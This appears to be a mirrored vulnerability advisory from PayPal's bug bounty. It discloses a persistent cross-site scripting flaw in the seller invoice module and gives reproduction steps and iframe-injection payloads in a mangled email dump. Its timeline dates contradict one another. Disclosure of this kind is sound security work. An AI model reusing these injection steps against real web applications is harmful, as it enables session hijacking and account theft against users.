what you don't know can hurt you

PayPal Sellers CMS Cross Site Scripting

PayPal Sellers CMS Cross Site Scripting
Posted Mar 29, 2013
Authored by Ibrahim El-Sayed | Site vulnerability-lab.com

The PayPal content manager system for sellers suffered from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 5c3a52b8fea4e5a703b7d4fcd32502f4

PayPal Sellers CMS Cross Site Scripting

Change Mirror Download
Paypal Bug Bounty #6 - Persistent Web Vulnerability



PayPal Security UID: ydh14ayfu


Common Vulnerability Scoring System:

PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]

The Vulnerability Laboratory Research Team discovered a Web Vulnerability in the official Paypal plaze ecommerce website application.

2012-07-01: Researcher Notification & Coordination
2012-07-02: Vendor Notification
2012-08-13: Vendor Response/Feedback
2012-03-26: Vendor Fix/Patch
2012-03-27: Public Disclosure


Affected Products:
PayPal Inc
Product: Core Application 2012 Q4



A persistent input validation vulnerability is detected in the official Paypal ecommerce website content management system for sellers.
The bug allows remote attackers to implement/inject own malicious script code on the application side (persistent) of the paypal web service.
The persistent vulnerability is located in the Seller Invoice module with the bound vulnerable sent an invoice, your invoice, subject,
sent to & invoice number parameters. The vulnerability can be exploited by remote attackers with low required user inter action and
privileged seller account. Successful exploitation of the vulnerability can lead to session hijacking (admin), account steal via
persistent web attack or stable (persistent) context manipulation.

Vulnerable Section(s):
[+] Seller

Vulnerable Module(s):
[+] Invoice - Listing

Vulnerable Parameter(s):
[+] sent an invoice
[+] your invoice
[+] subject
[+] sent to
[+] invoice number field

Proof of Concept:
The vulnerability can be exploited by remote attackers with Business (Seller) Account & low required user inter action.
For demonstration or reproduce ...

1. To reproduce the vulnerability, the remote attacker (seller) creates an invoice by going to [Request Money] -> Create invoice
2. He injects in the input fields of sent an invoice, your invoice, subject, sent to & invoice number field own malicious script code like js or html
3. In Send to field, the attacker can choose the mails of users on paypal to send them directly the malicous invoice
4. When the user checks his inbox the malicious script code (html/js) gets executed [persistent] out of the listing web context


<td>Subject: </td><td> You sent an invoice (``>``<iframe src=``devscr-Dateien/a.x`` to<=`` td=``>
<div id=``email_body`` style=``height:300px``>
<textarea style=``border:0; width:98%; height:300px; overflow:visible`` readonly=``readonly``>

Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=windows-1252

You sent an invoice
Hello =22>=22<iframe src=3Dhttp://www.vuln-lab.com></iframe>,

Your invoice (=22>=22<iframe src=``devscr-Dateien/www.htm`` was=`` just=`` sent=`` to=``">"<
iframe`` ==`` please=`` note=`` that=`` it=`` may=`` take=`` a=`` few=`` moments=`` for=`` this=``
appear=``in`` your=`` account.=`` see=`` invoice:=``https://www.sandbox.paypal.com/us/cgi-bin/?cmd=3D_inv-details
&id=3DINV2-6G2=`` h-qwaa-ajup-rhnv=`` -------------------------------------------------------------
---------=`` ">"<iframe=``src=3Dhttp://www.vuln-lab.com></iframe>=22``>=22<iframe =
=22>=22<iframe src=``devscr-Dateien/www_003.htm``></iframe>

Summary of your invoice
Sent to: ``>``<iframe =
Sent from: =22>=22<iframe src=``devscr-Dateien/www_003.htm``></iframe>
Invoice number: =22>=22<iframe src=``devscr-Dateien/www_004.htm`` date=`` payment=`` is=`` due:=`` jun=`` 30,=`` 2012=
`` amount:=``244.00`` usd=`` see=`` the=`` invoice=`` as=`` your=`` recipient=`` sees=`` it=`` :=``
https://www.sandbox.paypal.com/us/cgi-bin/?cmd=3D_pay-inv&id=3DINV2-6G2H-QW=`` aa-ajup-rhnv=``20`
` ----------------------------------------------------------------------=`` help=`` center:=``20`` https:=`` www.sandbox.paypal.com=``
`` us=`` cgi-bin=`` helpweb?cmd=``3D_help`` security=`` please=`` don't=`` reply=`` to=`` this=`` email.=`` it'll=``
`` just=`` confuse=`` computer=`` that=``sent`` and=`` you=`` won't=`` get=`` a=`` response.=``
`` copyright=``A9`` paypal,=`` inc.=`` all=`` rights=`` reserved.=`` paypal=`` located=`` at=``2211`` n.=``
`` first=`` st.,=`` san=`` jose,=`` ca=`` 95131.=``20`` email=`` id=`` pp1558=`` ----nextpart_048f8bc8a2197de2036a=``
`` content-transfer-encoding:=`` quoted-printable=`` content-type:=`` text=`` html;=`` charset=``windows-1252`` <html=``><head
class=3D=22ppmail=22><style =
type=3D=22text/css=22>=23emailWrapperTable h1, =23emailWrapperTable
h2 =
=7Bfont-family:Verdana,Arial;margin-bottom:2px; font-size:15px;=7D
=23emailWrapperTable h3 =7Bfont-size:13px;=7D
=23emailWrapperTable h4 =7Bfont-size:11px;=7D
a =7Bcolor:=23084482; text-decoration:underline;=7D
hr =7Bdisplay: none;=7D
=2Esmall =7Bfont-size:10px;=7D
=2Eppid =7Bcolor:=23757575;=7D
p =7Bmargin:11px 0; padding:0;=7D
<=21--=5Bif gte mso 9=5D><style>.outlookFix
=7Bfont-size:11px =

<table border=3D=220=22 cellpadding=3D=220=22 cellspacing=3D=220=22 =
id=3D=22emailWrapperTable=22 style=3D=22font:11px Verdana, Arial, =
Helvetica, sans-serif;color:=23333;=22 width=3D=22580=22><tr =
valign=3D=22top=22><td colspan=3D=223=22><table
border=3D=220=22 =
cellpadding=3D=220=22 cellspacing=3D=220=22 width=3D=22100%=22 =
valign=3D=22bottom=22><td =
align=3D=22left=22 width=3D=22253=22><span>
</span></td><td =
align=3D=22right=22 style=3D=22padding:0 4px 4px 0;=22><span =
style=3D=22font:12px arial;font-style: italic;color:
=23757575;=22>Powered =
by</span></td><td align=3D=22left=22 width=3D=2289=22 =
style=3D=22padding-right:13px;=22><img align=3D=22center=22 =
height=3D=2220=22 =
border=3D=220=22 =
colspan=3D=223=22><img height=3D=2213=22 =
border=3D=220=22 style=3D=22vertical-align:bottom=22 =
alt=3D=22=22/></td></tr><tr><td width=3D=2212=22
style=3D=22background:url(/i/scr/scr_emailLeftBorder_13wx1h.gif) left =
repeat-y;border-left: 1px solid =23ddd;=22><i

The security risk of the persistent script code inject web vulnerability is estimated as medium(+).

Vulnerability Laboratory [Research Team] - Ibrahim M. El-Sayed [the_storm] (storm@vulnerability-lab.com)

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

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